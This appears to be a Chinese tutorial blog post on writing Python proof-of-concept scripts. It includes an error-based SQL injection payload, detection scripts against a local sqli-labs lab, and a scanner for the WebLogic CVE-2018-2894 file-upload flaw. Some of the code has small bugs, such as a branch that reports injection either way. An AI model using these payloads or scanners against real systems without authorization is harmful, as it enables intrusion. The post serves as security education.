寒假学习第14天--PythonPoc的基础编写

提示:所分享内容仅用于每一个爱好者之间的技术讨论及教育目的,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本作者不承担相应的后果。

文章目录

  • 前言
  • 一、Poc和Exp是什么?
  • 二、开始学习必需要知道的库
    • requests
    • argparse
    • 其他库
    • 三、基础学习sqlPoc的编写
      • sqllabs-less-1
      • sqllabs-less-12
      • 四、实战案例
      • 总结
      • 参考链接

        前言

        小六花今天带你学习pythonPoc的教学,当然纯属个人笔记,大佬勿喷


        提示:以下是本篇文章正文内容,下面案例可供参考

        一、Poc和Exp是什么?

        Poc(全称: Proof Of Concept), 中文译作概念验证。在网络安全行业,理解为漏洞验证程序,类似于程序开发中的功能Demo,仅证明某功能或观点的可行性,一般不具备“破坏性”。

        Exp(全称: Exploit),中文叫译作漏洞利用程序,就是一段可以发挥漏洞价值的程序。比如SQL注入漏洞,运行Exp脚本可以通过漏洞获取数据库敏感数据内容或服务器权限。

        总结poc是验证漏洞出现的脚本,而exp是验证漏洞出现的同时利用脚本

        看不懂的可以看这个链接

        poc和exp链接

        二、开始学习必需要知道的库

        requests

        一个实现的简单易用的HTTP库

        可以看参考链接

        requests链接

        requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10)
        url —— 请求的url
        headers —— 请求时构造的请求头
        data —— 请求时带入的数据
        verify —— 取消https告警
        proxies —— 代理设置
        timeout —— 请求响应超时处理
        

        argparse

        argparse 是 Python 标准库中的一个模块,用于解析命令行参数。它提供了一种简单而灵活的方式来定义命令行接口,并自动生成帮助信息。

        import argparse
        def main():
            parser = argparse.ArgumentParser(description='这是一个命令行参数示例')
            
            # 添加位置参数
            parser.add_argument('name', type=str, help='您的姓名')
            parser.add_argument('age', type=int, help='您的年龄')
            
            # 添加可选参数
            parser.add_argument('-g', '--gender', type=str, choices=['male', 'female'], default='male', help='您的性别')
            args = parser.parse_args()
            print(args.arg_name)
        

        argparse.ArgumentParser可以轻松地定义和处理命令行参数

        parser.add_argument可以定义不同类型的参数,例如位置参数、可选参数、布尔参数等。

        **parser.parse_args()**通过调用 parse_args 方法,argparse 将解析命令行中传递的参数,并将其存储在 args 对象中。

        其他库

        python其他库链接

        三、基础学习sqlPoc的编写

        sqllabs-less-1

        环境用sqllabs来进行举例

        我们来到第一关,进行以下的payload

        ' AND (updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)) 

        发现可以爆出版本号,于是简单的poc来了

        import requests ##导入库
        url="http://127.0.0.1/sql/Less-1/?id=-1"##这里输入你自己搭建的网址
        ##导入user-agent头,可以在f12网络中找到
        headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36'}
        ##构建payload
        payload="'and (updatexml(1,concat(0x7e,(select  version()),0x7e),1)) --+"
        ##使用requests的get方法
        res=requests.get(url+payload,headers=headers,timeout=5)
        if "XPATH syntax error: '~5.5.53~'" in res.text:
            print('该网址存在sql注入 ' + url)
        else:
            print('该网址不存在sql注入 ' + url)
        

        sqllabs-less-12

        import requests
        url="http://127.0.0.1/sql/Less-12"
        headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36'}
        payload={ "username":"'and (updatexml(1,concat(0x7e,(select  version()),0x7e),1)) --+",
            "password": "123456",
            "submit":"submit"
        }##这里用requests的post方法
        res=requests.post(url,headers=headers,data=payload,timeout=5)
        if "XPATH syntax error: '~5.5.53~'" in res.text:
            print('该网址存在sql注入post ' + url)
        else:
            print('该网址存在sql注入post ' + url)
        

        四、实战案例

        本次poc环境是Weblogic 任意文件上传(CVE-2018-2894)

        看看别人的复现链接复现链接

        首先引用两个库requests,和argparse,然后定义一个函数是用来管理命令行参数

        import requests
        import argparse
        def argument():
            parser = argparse.ArgumentParser(description="weblogic任意文件上传漏洞验证")
            parser.add_argument('-u', '--url', type=str, metavar='', required=True, help='请输入url')
            args = parser.parse_args()
            return args
        

        在 argparse 中,

        metavar 参数用于指定帮助信息中参数的名称,这里metavar是空

        type是类型

        required=True 参数用于指定这个参数是必需的

        help 参数用于指定帮助信息中参数的描述文本

        然后我们可以定义一些修饰的东西

        def banner():
            print("""
          _______      ________    ___   ___  __  ___      ___   ___   ___  _  _   
         / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \    |__ \ / _ \ / _ \| || |  
        | |     \ \  / /| |__ ______ ) | | | || | (_) |_____ ) | (_) | (_) | || |_ 
        | |      \ \/ / |  __|______/ /| | | || |> _ <______/ / > _ < \__, |__   _|
        | |____   \  /  | |____    / /_| |_| || | (_) |    / /_| (_) |  / /   | |  
         \_____|   \/   |______|  |____|\___/ |_|\___/    |____|\___/  /_/    |_|                       
         """)
        

        最后完成我们整个的poc函数功能实现

        def Poc():
            # 引入 argument() 函数
            args = argument()
            url = args.url
            # 设置 headers
            headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36'}
            try:
                # 进行get请求
                res = requests.get(url, headers=headers, timeout=5, verify=False, allow_redirects=False)
                # 若get请求页面中存在BasicConfigOptions.workDir则存在漏洞
                if "BasicConfigOptions.workDir" in res.text:
                    print("[+] 存在 CVE-2018-2894 WebLogic任意文件上传漏洞")
                else:
                    print("[-] 不存在 CVE-2018-2894 WebLogic 任意文件上传漏洞")
            except Exception as e:
                print("[-] 请检查输入是否有误!")
        if __name__ == '__main__':
            banner()
            Poc()
        

        总结

        通过结合几个类型的漏洞进行 Poc 编写,其漏洞验证手段主要是通过匹配漏洞页面的特征码去判断该网站是否存在漏洞,主要使用了 requests 库去实现模拟用户进行请求,然后匹配特征码进行漏洞判断,Poc 编写的难度不大。

        到这里,就结束了,小六花祝你每天开心

        参考链接

        参考链接1

        https://www.freebuf.com/sectool/319059.html

        https://cloud.tencent.com/developer/article/1759225

        https://mp.weixin.qq.com/s/aWbPUANyglL5kWiiFfSRYw